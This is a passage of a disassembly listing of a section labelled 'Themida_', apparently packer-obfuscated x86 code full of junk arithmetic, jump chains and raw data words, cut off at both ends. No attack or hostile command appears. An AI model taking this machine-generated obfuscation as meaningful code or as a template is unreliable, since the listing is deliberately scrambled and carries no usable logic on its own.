4C481h, 7AE90000h, 2800003Dh dd 525A66D0h, 0D000FCB2h, 0FFE4CCE9h, 0CCC781FFh, 521E737Bh dd 5B83E9h, 49506800h, 3C890000h, 48BCBF24h, 0CF814599h dd 3CD5635Dh, 51FFEF83h, 0FFD519E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A441: ; CODE XREF: Themida_:00565AECj mov [esp], ebx push 435161D5h pop ebx add edx, ebx pop ebx jmp loc_55D3ED ; --------------------------------------------------------------------------- aYs db 'Yé!^',0 align 4 aSsk db 'SéK;',0 align 2 dw 1489h dd 81E28924h, 4C2h, 4EC8300h, 0E9243489h, 0FFFF896Bh ; --------------------------------------------------------------------------- loc_55A474: ; CODE XREF: Themida_:0055F193j add ecx, 105F52FBh jmp loc_55BB90 ; --------------------------------------------------------------------------- db 68h dd 7AD5h, 50242489h, 4B8h, 24440100h, 549AE904h, 1C890000h dd 0DF3FE924h, 2AB9FFFFh, 6830D819h, 1EB5h, 0FFD3A4E9h dd 0B4505CFFh, 77C38025h, 0EB80E300h, 50E95877h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A4BF: ; CODE XREF: Themida_:00559879j xor [esp], esi xor esi, [esp] pop esp mov [esp], ecx jmp loc_55C7CB ; --------------------------------------------------------------------------- dw 8F5Fh dd 895C2404h, 90E92404h, 5Bh, 59E959EBh, 53FFFFA9h, 0FFF226E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A4E9: ; CODE XREF: Themida_:00558346j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx sub esp, 4 jmp loc_5601B7 ; --------------------------------------------------------------------------- dw 0C483h dd 0FE65E904h, 3489FFFFh, 9DE95224h, 8800004Ch, 0E9505AD7h dd 0D02Ch ; --------------------------------------------------------------------------- loc_55A520: ; CODE XREF: Themida_:0055ADE8j mov edx, 0B925F272h jmp loc_55C127 ; --------------------------------------------------------------------------- dw 481h dd 424h, 0B8505B00h, 4, 0EFE9C301h, 10000ABh, 85A7E9D5h dd 0C181FFFFh, 4, 5C240C87h, 683168h, 242C8900h, 6DDBBA52h dd 0D5891300h, 0E9EF215Ah, 0B0C2h ; --------------------------------------------------------------------------- loc_55A568: ; CODE XREF: Themida_:005631C1j mov [esp], ax jmp loc_5527FE ; --------------------------------------------------------------------------- loc_55A571: ; CODE XREF: Themida_:0055A9AEj mov eax, 4 jmp loc_553A96 ; --------------------------------------------------------------------------- db 0C1h dd 0E8D106E0h, 320AD40Dh, 21B22D14h, 0BD557FAFh, 0BD873D46h dd 3D82E9h, 6791BA00h, 90E93A0Bh, 680000B8h, 6D95h, 5DC6E9h dd 68E08900h, 2A0Dh, 0CDA0E9h, 0FFC18100h, 81FFFFFFh, 0B04F76F1h dd 81D1F739h, 6CAA88F1h, 59CB29B3h, 1AB3C381h, 0C3017701h dd 4EC81h, 2C890000h, 4E6ABD24h, 56E90629h, 29000077h dd 0F5315FFEh, 0FFC5815Eh, 0F7FFFFFFh, 5CF581D5h, 298B2CC5h dd 242C8BE8h, 6804C483h, 5A8Ah, 51243489h, 0FFACE4E9h dd 4BB53FFh, 1000000h, 2434FFDFh, 0E689565Bh, 6D5AE9h dd 4C48300h, 0FFFFE4E9h, 34895CFFh, 0DD2EE924h, 77FFFFFFh dd 58669D1Ch, 9C240410h, 0FFA4C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A645: ; CODE XREF: Themida_:0055A9F4j xor [esp], ebp jmp loc_557761 ; --------------------------------------------------------------------------- db 87h, 0E9h, 81h dd 5F7BC3E1h, 42C18135h, 1FAB2C7h, 565059CBh, 4BEh, 5EF08900h dd 4300C381h, 0C3017E9Ah, 0C2D9E9h, 0C9E95B00h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A67B: ; CODE XREF: Themida_:0056528Ej shl edx, 1 push 7263h mov [esp], edx jmp loc_55EF59 ; --------------------------------------------------------------------------- dw 0F581h aFjlSwo db 'äj‹',0Ah db 'éw®',0 dd 0B5FB800h, 0C53512EEh, 9542D60h, 83E958C2h, 0B8FFFFD8h dd 9D17469h, 0A05BE9h, 32B95100h, 0E977FA10h, 0BE89h, 0C0FEDB24h dd 1BE9D0F6h, 0D1FFFFF6h, 0F7CF87E7h, 31CF31D1h, 0E9CF31F9h dd 0FFFFD050h, 8B04C483h, 0C483241Ch, 0B53AE904h, 13E90000h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A6EB: ; CODE XREF: Themida_:00558191j pop esi add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] jmp loc_5586EE ; --------------------------------------------------------------------------- db 31h dd 0F7D987C3h, 16F181D1h, 893FCC66h, 0E6C159CEh, 3E6C103h dd 3A3A68h, 24148900h, 65BF68h, 0B670E900h, 0E95C0000h dd 41B8h, 0CBE9C301h, 59FFFFBBh, 81E28952h, 4C2h, 4C28100h dd 87000000h, 285C2414h, 24048BE2h, 21E4E9h, 14895C00h dd 11AA6824h, 148B0514h, 0A95E924h, 0E9520000h, 60FAh ; --------------------------------------------------------------------------- loc_55A768: ; CODE XREF: Themida_:0055EC7Ej push 1127h jmp loc_55C84A ; --------------------------------------------------------------------------- dw 0E868h dd 89000077h, 5CE92404h, 8100008Bh, 660A6FC7h, 0EBE561Eh dd 297E584Fh, 0CF015EF7h, 7CBFBD55h, 0C5817BCFh, 0FFFFFFFFh dd 0E902EDC1h, 0FFFFBC55h, 8080EE80h, 3FE966C1h, 5DFFFFF0h dd 5C243487h, 24048B66h, 8904EC83h, 0FE68242Ch, 8900003Eh dd 0E189240Ch, 4C181h, 0E9810000h, 4, 4B5FE9h, 0E790500h dd 0C62D787Fh, 5F2DD773h, 656ABD55h, 0E5817FFDh, 3D0E686Dh dd 41BDBB53h, 0EB8163A1h, 338F1687h, 0C2BBE9h, 3C58100h dd 0FF3FEA3Fh, 3AE92434h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A80F: ; CODE XREF: Themida_:0055D7EBj add ebx, 0E79D1537h push ebx jmp loc_564B6E ; --------------------------------------------------------------------------- loc_55A81B: ; CODE XREF: Themida_:00553EAFj push eax mov eax, 1D061CC5h sub [esp+8], eax mov eax, [esp] add esp, 4 add dword ptr [esp+4], 2EF1ED5h sub [esp+4], esi sub dword ptr [esp+4], 2EF1ED5h add dword ptr [esp+4], 1D061CC5h sub dword ptr [esp+4], 35255B2Dh sub dword ptr [esp+4], 37F70178h pop esi pop dword ptr [edi+24h] loc_55A85E: ; CODE XREF: Themida_:0055F8C6j push ebp push ebx push esi mov esi, 323161Eh jmp loc_55D4A8 ; --------------------------------------------------------------------------- db 8Bh dd 0EE832424h, 0CEF681FFh, 1774A0Ch, 24348BF2h, 3304C483h dd 14312414h, 0C654E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A88A: ; CODE XREF: Themida_:0055EC1Cj mov edi, 4 jmp loc_556DBB ; --------------------------------------------------------------------------- loc_55A894: ; CODE XREF: Themida_:0055FA2Ej mov dh, ch pop cx jmp loc_563247 ; --------------------------------------------------------------------------- loc_55A89D: ; CODE XREF: Themida_:0055ED30j sub esp, 4 mov [esp], ebx push 5E36h mov [esp], edx push ecx push 7B8D1632h push dword ptr [esp] pop ecx add esp, 4 push eax mov eax, 1FF5061Ch jmp loc_55FB3F ; --------------------------------------------------------------------------- db 59h, 30h, 0FDh dd 52241C8Bh, 39E95A54h, 66FFFFD8h, 0E924048Bh, 1450h dd 0D7F7FA87h, 8142FA87h, 43126DCAh, 0E9E2D114h, 0AA4Bh dd 0CD295F59h, 0D098E959h, 0C1810000h, 332377FBh, 159CA29h dd 83575AD1h, 0FBE904ECh, 81FFFFFBh, 0F87E61EFh, 2EFC171h dd 1F55E781h, 69E927A8h, 8F00008Bh, 7ED0E902h, 0E589FFFFh dd 4C581h, 0BB530000h, 4, 875BDD29h, 0C1E9242Ch, 5A0000B0h dd 0FFC54FE9h, 21B850FFh, 53FD44Dh, 3B080831h, 0F748D0F7h dd 0FFBA52D0h, 0E97AB86Bh, 0FFFFF710h ; --------------------------------------------------------------------------- loc_55A968: ; CODE XREF: Themida_:00565F50j mov ebp, esi mov esi, [esp] add esp, 4 mov ecx, 7A5C2806h shr ecx, 1 xor ecx, 6B121FAFh jmp loc_558039 ; --------------------------------------------------------------------------- dw 48Bh dd 9CB8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A98A: ; CODE XREF: Themida_:0055F63Aj xchg eax, [esp] mov esp, [esp] push 33A0h mov [esp], ebp push 1 push dword ptr [esp] push dword ptr [esp] pop ebp push ebx push esp pop ebx add ebx, 4 push eax jmp loc_55A571 ; --------------------------------------------------------------------------- aBuR db 'BU½',27h,'RÏ',0 dw 7CE9h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A9BF: ; CODE XREF: Themida_:005676C6j mov eax, [esp] sub esp, 4 jmp loc_567590 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0FF7EC0E9h, 2434FFFFh, 0E924348Bh, 3494h ; --------------------------------------------------------------------------- loc_55A9E0: ; CODE XREF: Themida_:00555C1Ej mov [esp], ebp jmp loc_554082 ; --------------------------------------------------------------------------- loc_55A9E8: ; CODE XREF: Themida_:005589ACj xor ebp, eax xor eax, ebp xor ebp, eax xor [esp], ebp xor ebp, [esp] jmp loc_55A645 ; --------------------------------------------------------------------------- loc_55A9F9: ; CODE XREF: Themida_:00562E2Fj add edx, ebp pop ebp xor edx, [esp] jmp loc_55B7EA ; --------------------------------------------------------------------------- dd 0FF2434FFh, 57592434h, 0B9515F54h, 4, 0FFC831E9h, 0AABE56FFh dd 3101757Fh, 0C5815EF5h, 0C2291EA3h, 0BBE95655h, 8100005Ch dd 4C3h, 9CBF5700h, 0E92F3639h, 3E3Ch ; --------------------------------------------------------------------------- loc_55AA40: ; CODE XREF: Themida_:00553A59j add edx, eax jmp loc_557251 ; --------------------------------------------------------------------------- loc_55AA47: ; CODE XREF: Themida_:005592B8j sub bh, dl pop dx jmp loc_554512 ; --------------------------------------------------------------------------- loc_55AA50: ; CODE XREF: Themida_:005643A1j pop esi add esi, 4 sub esi, 2 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_561BBD ; --------------------------------------------------------------------------- dw 0C381h dd 2EF86DEDh, 0B850CB01h, 2EF86DEDh, 1BE9C329h, 5B0000BDh dd 2CC9E952h, 0C7810000h, 56DD1735h, 4B5FFB89h, 0FFCE6AE9h dd 0DE015DFFh, 0C71EE9h, 0E9D8F700h, 8728h ; --------------------------------------------------------------------------- loc_55AAAC: ; CODE XREF: Themida_:00557D5Bj add edx, 10BF677Eh add edx, eax jmp loc_553693 ; --------------------------------------------------------------------------- db 5Ah, 29h, 0DDh dd 12E7ED81h, 0BB5300B2h, 5EAD19B7h, 3157E9h, 3C895C00h dd 2E34E924h, 0A4680000h, 0E9000040h, 5487h, 8904EC83h dd 0CABB241Ch, 0E971B262h, 7730h ; --------------------------------------------------------------------------- loc_55AAF0: ; CODE XREF: Themida_:0055EFE5j pop eax mov edx, ecx pop ecx push eax mov eax, 527F5F42h sub [esp+8], eax mov eax, [esp] add esp, 4 add [esp+4], edx add dword ptr [esp+4], 527F5F42h push dword ptr [esp] mov edx, [esp] jmp loc_55F6ED ; --------------------------------------------------------------------------- loc_55AB1B: ; CODE XREF: Themida_:0055551Dj add esp, 4 add esi, 4 push 1AEBh mov [esp], ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_56316C ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF2434FFh, 0FAE92434h, 0B3000085h, 0A2E380ECh, 889FEB80h dd 0CA005BD9h, 0B2525159h, 0E908B5CFh, 6EEAh ; --------------------------------------------------------------------------- loc_55AB60: ; CODE XREF: Themida_:005553B1j mov bl, 0F2h add bl, 71h and bl, 57h add bl, 0BBh sub bl, 0F6h not bl jmp loc_55EDF9 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 8957555Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h, 2424895Ch dd 4240483h, 4C5815Dh, 83000000h, 0FF5504C5h, 5D042474h dd 9D9EE9h, 4C48300h, 34FFF501h, 2AE95E24h, 1FFFF99h, 4467E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABBE: ; CODE XREF: Themida_:00564261j mov ecx, [esp] add esp, 4 add eax, 4 xchg eax, [esp] pop esp push esi push 1DF2h jmp loc_566B7F ; --------------------------------------------------------------------------- loc_55ABDB: ; CODE XREF: Themida_:00559693j sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], esi sub esp, 4 mov [esp], edx push 1F4B23BFh push dword ptr [esp] pop edx push 359h mov [esp], ebp mov ebp, esp add ebp, 4 push ecx jmp loc_555CC1 ; --------------------------------------------------------------------------- db 5Ch dd 9C240421h, 0FF7BE5E9h, 4C181FFh, 52000000h, 780396BAh dd 3B7FE967h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AC2A: ; CODE XREF: Themida_:00560EDDj add eax, ebp pop ebp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push small 3BCh mov [esp], bx push 5777h mov [esp], esi push small 7EB4h pop si jmp loc_55D9EA ; --------------------------------------------------------------------------- dd 0CE0A1068h, 0D8D8E91Ah, 0BF57FFFFh, 69AC6305h, 3BFFEF81h dd 0FB29238Ch, 35CDE9h, 6E2C100h, 5242D2F7h, 5A2414F7h dd 43D6C281h, 0DAF77B78h, 6FAFC281h, 1D056D37h, 29680351h dd 511D2DD0h, 2D5A6803h, 137B4F09h, 905F001h, 56137B4Fh dd 0C681E689h, 4, 4EE81h, 34870000h, 62E95C24h, 8BFFFFBFh dd 0A1E92404h, 83FFFFA1h, 506602C4h, 6900E9h, 0E2895200h dd 4C281h, 0C2810000h, 4, 8B241487h, 0D7F72424h, 764AF781h dd 0FEE9163Bh db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ACEF: ; CODE XREF: Themida_:0055FC39j pop edx sub edx, 14F20D29h pop esi jmp loc_5673DC ; --------------------------------------------------------------------------- dd 78C68h, 24048900h, 405E089h, 83000000h, 48704C0h, 34FF5C24h dd 0C4835F24h, 2BE95004h, 830000B4h, 0C8904ECh, 80CBB124h dd 0D9F65FF1h, 80FFC180h, 0C180D4C9h, 0F304ADh, 59F32CC8h dd 0EC815251h, 4, 0E9240489h, 3653h, 8704C283h, 685C2414h dd 74DCh, 0BA241489h, 121D34A8h, 8C685653h, 5E46136Ch dd 7B18C681h, 0EE8156F6h, 59B6E18Bh, 565EF389h, 10C6D0BEh dd 0E9F32960h, 0FFFFA1E7h ; --------------------------------------------------------------------------- loc_55AD84: ; CODE XREF: Themida_:0055F103j mov edx, [esp] jmp loc_55522E ; --------------------------------------------------------------------------- loc_55AD8C: ; CODE XREF: Themida_:0056437Ej push eax mov eax, 21AC7689h add dword ptr [esp+4], 4A0E782Dh sub [esp+4], eax push esi mov esi, 4A0E782Dh sub [esp+8], esi pop esi mov eax, [esp] add esp, 4 mov eax, [esp] push edx mov edx, esp add edx, 4 push ebx mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp] jmp loc_567291 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 125C19DFh push ebp mov ebp, 316856ADh shl ebp, 6 xor ebp, 3C16217Fh sub ebp, 1 push edx jmp loc_55A520 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EB010000h, 565CE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ADFA: ; CODE XREF: Themida_:0055E034j push edx mov edx, eax mov edi, edx pop edx pop eax add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx jmp loc_55493B ; --------------------------------------------------------------------------- loc_55AE0F: ; CODE XREF: Themida_:0055D831j add edx, ecx mov ecx, [esp] push edx jmp loc_563CCE ; --------------------------------------------------------------------------- dw 0E62Dh dd 0E923DC75h, 0FFFFDE5Fh, 0EC83DF01h, 24148904h, 2F6761BAh dd 75EF8127h, 291E3F48h, 75C781D7h, 5A1E3F48h, 243C875Bh dd 0EF64E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AE4A: ; CODE XREF: Themida_:00560910j xor edi, [esp] jmp loc_56219A ; --------------------------------------------------------------------------- dw 0ACBFh dd 811C827Fh, 0CC004FF7h, 4615E947h, 8FB90000h, 810DC46Bh dd 6C08246Ch, 29309B72h, 8108244Ch, 6C082444h, 0E9309B72h dd 28F0h, 0EC805966h, 58E2281Ah, 285AD028h, 66AD04F8h dd 2C13E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AE96: ; CODE XREF: Themida_:00563B2Dj mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_554F61 ; --------------------------------------------------------------------------- loc_55AEAF: ; CODE XREF: Themida_:00556F18j add ebp, eax jmp loc_5553C3 ; --------------------------------------------------------------------------- loc_55AEB6: ; CODE XREF: Themida_:00554EE6j add edi, 0FFFFFFFFh and edi, 2186397Ch push 84Dh mov [esp], edx mov edx, 32746537h not edx neg edx xor edx, 3CDC9607h sub edi, edx jmp loc_556FEC ; --------------------------------------------------------------------------- dd 405h, 40500h, 4870000h, 133BE924h, 0D3290000h, 61D3E9h dd 5C78100h, 18D0010h, 4875FF8h, 7D9FE924h, 148B0000h dd 4C48124h, 50000000h, 2570BF57h, 0E4E94508h, 81000082h dd 0A174E8F7h, 5FFB015Dh, 0BF57C301h, 5DA575E8h, 0D4E9FB29h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF37: ; CODE XREF: Themida_:00563018j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ebp mov ebp, esp push esi mov esi, 51AA3B78h shr esi, 1 inc esi sub esi, 28D51DB9h add ebp, esi jmp loc_55568A ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C481241Ch, 4, 49EBE952h, 4870000h, 3C895C24h dd 3651E924h, 8F5A0000h, 55C2404h, 6A936C32h, 4CF1E9h dd 67C18100h, 5F78075Dh, 0FFCE59E9h, 12BB53FFh, 812F3E01h dd 659C7C3h, 81E3D161h, 774A52C3h, 5BD801DFh, 0E904E883h dd 0FFFFFFBAh, 0C181F129h, 0AAD4B99h, 0EBE565Eh, 0E96F6A0Dh dd 0CABFh, 1C8BD988h, 0E2895224h, 8904EC83h, 0ACBD242Ch dd 0F74C516Bh, 0FFB951D5h, 29FFFFFFh, 0E5C159CDh, 3E5C108h dd 5AC9B850h, 0CD356C05h, 3118A7FAh, 0C490E9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B006: ; CODE XREF: Themida_:00559686j add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_5559BF ; --------------------------------------------------------------------------- db 87h, 0FEh, 81h dd 1C8BD2EEh, 5EF1292Eh, 8759CF09h, 31D1F7CFh, 31F931CFh dd 62EF81CFh, 0E969BF0Dh, 0FFFFE4F0h, 24048B66h, 685F5457h dd 553h, 0BD242C89h, 696C129Ah, 8108EDC1h, 8A4A6EE5h, 1ED817Eh dd 57000000h, 0B8DBE9h, 240C3300h, 613E9h db 0 ; --------------------------------------------------------------------------- loc_55B071: ; CODE XREF: Themida_:00564EF9j pop edi push ecx mov ecx, 6F34215Ch add ecx, 441313FFh not ecx add ecx, 0BED75AA6h xor ebp, ecx pop ecx push eax mov eax, 228D352Bh xor ebp, eax jmp loc_567ACB ; --------------------------------------------------------------------------- loc_55B096: ; CODE XREF: Themida_:00555F63j mov edx, 78873004h add edx, 6B50ED3h jmp loc_5627F7 ; --------------------------------------------------------------------------- dw 0C183h dd 240C8704h, 0BF9AE9h, 2434FF00h, 4EC835Fh, 5435E9h, 4C48100h dd 87000000h, 248B240Ch, 4C78124h, 0E9000000h, 49F2h, 48B0388h dd 4C48324h, 0FFE83CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B0E1: ; CODE XREF: Themida_:0055902Cj mov [esp], dx mov dh, 0C0h add al, dh jmp loc_5553AA ; --------------------------------------------------------------------------- loc_55B0EE: ; CODE XREF: Themida_:0055865Ej pop eax mov ecx, [esp] add esp, 4 add ecx, 4 push 56A0h mov [esp], esi jmp loc_5579D5 ; --------------------------------------------------------------------------- db 83h dd 0E9042404h, 709Dh, 4C481h, 48F0000h, 0D90DE924h, 0CD81FFFFh dd 436A04FEh, 4EFAB951h, 0CD314B6Fh, 5DEB8959h, 5D71EE81h dd 0DE014789h, 0B74DE9h db 0 ; --------------------------------------------------------------------------- loc_55B141: ; CODE XREF: Themida_:0055B654j and ecx, 58E36F31h jmp loc_557E0E ; --------------------------------------------------------------------------- aAPXss db '€Ã[(Ú[P´Xés ',0 align 2 dw 0E95Eh dd 0FFFFD566h, 4C481h, 0EB680000h, 0E900001Dh, 0FFFFEE46h ; --------------------------------------------------------------------------- loc_55B170: ; CODE XREF: Themida_:00554F5Cj mov edi, [esp] add esp, 4 jmp loc_55828C ; --------------------------------------------------------------------------- db 81h dd 95906FF3h, 5BD901EBh, 0BD55F101h, 33E75A2h, 6A768h dd 240C8900h, 0AF6620B9h, 17ED8150h, 1406D03h, 17C581CDh dd 59406D03h, 130EF581h, 0F5817DC0h, 20240151h, 8503ED81h dd 0C181F0CBh, 47B2A5Dh, 7AEEB850h, 160521C9h, 8153EEF4h dd 136958E9h, 81C10133h, 136958C1h, 0E9295833h, 6F04E981h dd 0E98175B8h, 47B2A5Dh, 0B8505E5Dh, 2, 0FE9C101h, 83FFFFDEh dd 0EA8104C4h, 0FFFFFFFFh, 7816E9h, 2434FF00h, 8DF9E9h dd 28C18100h, 0E9589C19h, 0FFFFB66Ch, 24048B66h, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 54240489h, 40558h, 5AE90000h dd 4FFFFB9h, 0AA2CE9D3h, 0F7660000h, 2DBA68F1h, 1C890000h dd 5CFBE924h, 3C8B0000h, 4C48324h, 1FE1C381h, 0C3297425h dd 4EC81h, 0C890000h, 78C76824h, 2C890000h, 3D446824h dd 0E95D6576h, 0FFFFADF9h, 5C241487h, 715E6866h, 24148966h dd 0E96DB753h, 9E54h, 0C78858B0h, 0E7C78058h, 0FFD126E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B29D: ; CODE XREF: Themida_:00566747j push edi mov edi, 76A909BAh not edi jmp loc_555E1A ; --------------------------------------------------------------------------- dw 0FF66h dd 0E99C240Ch, 0FFFF754Ah, 4246C81h, 73E94A9Fh, 57240C8Bh dd 7AE9E789h, 81000058h, 4ECh, 0A523E900h, 87590000h, 665C242Ch dd 5724048Bh, 0FDCFE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B2E2: ; CODE XREF: Themida_:0055810Bj push dword ptr [esp] pop ebx add esp, 4 or eax, eax jmp loc_5669CA ; --------------------------------------------------------------------------- db 0BAh dd 597363C7h, 0C108EAC1h, 0EAC102EAh, 7F596802h, 1C890000h dd 0D734E924h, 0C781FFFFh, 301D04EAh, 0FFC7835Dh, 22C0F781h dd 0FA310B0Dh, 14EE9h db 0 ; --------------------------------------------------------------------------- loc_55B325: ; CODE XREF: Themida_:0056230Cj push dword ptr [esp] jmp loc_564897 ; --------------------------------------------------------------------------- loc_55B32D: ; CODE XREF: Themida_:0055F9A4j add eax, ebx pop ebx push ecx jmp loc_559143 ; --------------------------------------------------------------------------- dw 489h dd 0E6ECE924h, 0C381FFFFh, 1C3D7BEBh, 0E950FB01h, 58BBh dd 33241C31h, 248B241Ch, 0C8B6624h, 4EC8124h, 89000000h dd 8952243Ch, 4C281E2h, 50000000h, 4B8h, 58C22900h, 5C241487h dd 83242489h, 5F042404h, 4C781h, 10E90000h, 0FF000096h dd 2BE94077h, 89000062h, 1E95EF2h, 5BFFFF93h, 0E904C483h dd 0B413h ; --------------------------------------------------------------------------- loc_55B3A4: ; CODE XREF: Themida_:00556634j xchg edi, [esp] jmp loc_5640FA ; --------------------------------------------------------------------------- loc_55B3AC: ; CODE XREF: Themida_:0055BCB8j mov bh, ah jmp loc_5599C8 ; --------------------------------------------------------------------------- db 2Dh dd 54A4681Ch, 1C05D801h, 0E954A468h, 0FFFFD2E9h, 0F05BE955h dd 0BD5FFFFFh, 0EDCBEBB3h, 4C9EC581h, 0FD0130ECh, 4C9EED81h dd 70E930ECh, 89FFFFD4h, 2C18E9E5h, 0BE560000h, 0E924564h dd 0D5E95755h, 0BB00003Eh, 210971C8h, 2414F753h, 0B087E9h dd 41C2C00h, 2CD8000Ch, 0C075E90Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B412: ; CODE XREF: Themida_:00560EFFj jmp loc_5527FE ; --------------------------------------------------------------------------- db 5Ah dd 5866C200h, 0E9CCC280h, 4C3Ah, 24048B66h, 4EC81h, 3C890000h dd 6B846824h, 24890000h, 5E16824h, 58E90000h, 420000B4h dd 17CACA81h, 0C281195Eh, 8280A02Ah, 895AD589h, 0FE015DEFh dd 2434875Fh, 8AD9E9h, 33110500h, 0C8B1568h, 4C48324h dd 48E9C389h, 5FFFFFF8h, 0D05E9h db 0 ; --------------------------------------------------------------------------- loc_55B479: ; CODE XREF: Themida_:0055CC72j xor eax, 151F515Eh mov ebp, eax mov eax, [esp] jmp loc_55FCEE ; --------------------------------------------------------------------------- loc_55B488: ; CODE XREF: Themida_:0055C2D5j sub ebx, 13F02260h jmp loc_562092 ; --------------------------------------------------------------------------- db 1 dd 727C05C8h, 5595CEBh, 2, 5C240487h, 24048F66h, 0FF7351E9h dd 70ED2DFFh, 34E90DA0h, 0F7FFFF9Ah, 0C15E241Ch, 8E906E6h dd 50FFFFC9h, 4C225CB8h, 58C20122h, 0EA81DA01h, 224C225Ch dd 50241C8Bh, 405E089h, 83000000h, 48704C0h, 14875C24h dd 24248B24h, 24048B66h, 7771E952h, 2C89FFFFh, 81E58924h dd 4C5h, 4BB5300h, 1000000h, 2C335BDDh, 242C3124h, 0E9242C33h dd 0FE3h, 0F9E9BE59h, 0C6811F80h, 0EF25509h, 0EE81CE29h dd 0EF25509h, 6520E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B532: ; CODE XREF: Themida_:0055EC78j add eax, 4 xchg eax, [esp] mov esp, [esp] add eax, 729F474Bh push 7A5Ch mov [esp], ecx mov ecx, 66BE2D47h shr ecx, 5 add ecx, 52232C31h jmp loc_5596DD ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FFCE59E9h, 242C33FFh, 89A7E9h, 58C20000h, 7B6CE9h dd 0D830AC00h, 3E10E953h, 31580000h, 0FC0E9C1h, 0C5810000h dd 0D89F2CCAh, 0BFE9EF29h db 0AFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B593: ; CODE XREF: Themida_:00552A57j mov edx, 4 add ebp, edx push dword ptr [esp] pop edx jmp loc_557617 ; --------------------------------------------------------------------------- db 9 dd 0DE91C6Fh, 8300007Ch, 0E95104C4h, 211Eh, 8704C283h dd 535C2414h, 0C3815B54h, 4, 0FF9301E9h, 5FF801FFh, 0FFED5EE9h dd 49AEBAFFh, 0DAF727C7h, 640EE281h, 0EA811449h, 0A32BCF1Bh dd 89D78957h, 0F1E95FF8h, 8100004Eh, 4C1h, 4A0CE900h, 5A540000h dd 4C281h, 0C2830000h, 24143304h, 8BD1E9h, 4C18300h, 5C240C87h dd 4EC81h, 0C890000h, 2474FF24h, 240C8B04h, 4C481h, 48F0000h dd 1F685C24h, 0E9000058h, 172Ah, 45C9C781h, 0B8504AD2h dd 3FAC2DFCh, 0FFD59BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B649: ; CODE XREF: Themida_:005598ECj mov ecx, 1F2F79E2h neg ecx not ecx shr ecx, 1 jmp loc_55B141 ; --------------------------------------------------------------------------- a5V8sM db '¿5',8,'¢8éÁŒ',0 dw 8100h dd 4C4h, 8BFB3100h, 0C483243Ch, 0E9BF5704h, 194F339h, 0DE315FFBh dd 0E92434FFh, 0FFFF8224h, 0E9240C31h, 0FFFF771Dh, 6240481h dd 8B145E04h, 0E950241Ch, 0C3CEh ; --------------------------------------------------------------------------- loc_55B69C: ; CODE XREF: Themida_:00565507j mov ecx, 4A0E33C7h sub eax, ecx pop ecx add eax, 42A406F9h jmp loc_564255 ; --------------------------------------------------------------------------- dw 66ACh dd 665E2468h, 0B2241489h, 0C592E96Ah, 0CB81FFFFh, 0CEA40ADh dd 1390F381h, 0E94B59BCh, 92D5h, 8124348Bh, 4C4h, 52BB5300h dd 31473D7Bh, 0BF575BD9h, 0C8E2A5Bh, 295FF829h, 2A5B05C8h dd 0C8B0C8Eh, 4C48324h, 4EC8159h, 89000000h, 0BBBA2414h dd 8108A642h, 97385EEBh, 56D32914h, 0FFD202E9h, 4EC83FFh dd 0E9242C89h, 775Fh, 6943B7BFh, 5FFE2128h, 0E15F681h dd 0F68113D4h, 3BD50EB5h, 215C781h, 0F701294Eh, 215EF81h dd 0E95E294Eh, 6D6Bh ; --------------------------------------------------------------------------- loc_55B748: ; CODE XREF: Themida_:005606B8j mov [esp], ecx jmp loc_564C4E ; --------------------------------------------------------------------------- dd 0E9DEB551h, 3319h ; --------------------------------------------------------------------------- loc_55B758: ; CODE XREF: Themida_:005613EAj sub dword ptr [esp+4], 4052305Bh jmp loc_560BBB ; --------------------------------------------------------------------------- db 31h, 0CAh, 59h dd 148BD301h, 0E6895624h, 4BD55h, 0EE010000h, 4C6835Dh dd 5C243487h, 0E904C383h, 0FFFF9A9Bh, 0FF7071E9h, 38BE56FFh dd 46372C5Eh, 24EAC681h, 0C6813D47h, 55A0029h, 0FFD9E4E9h dd 81D987FFh, 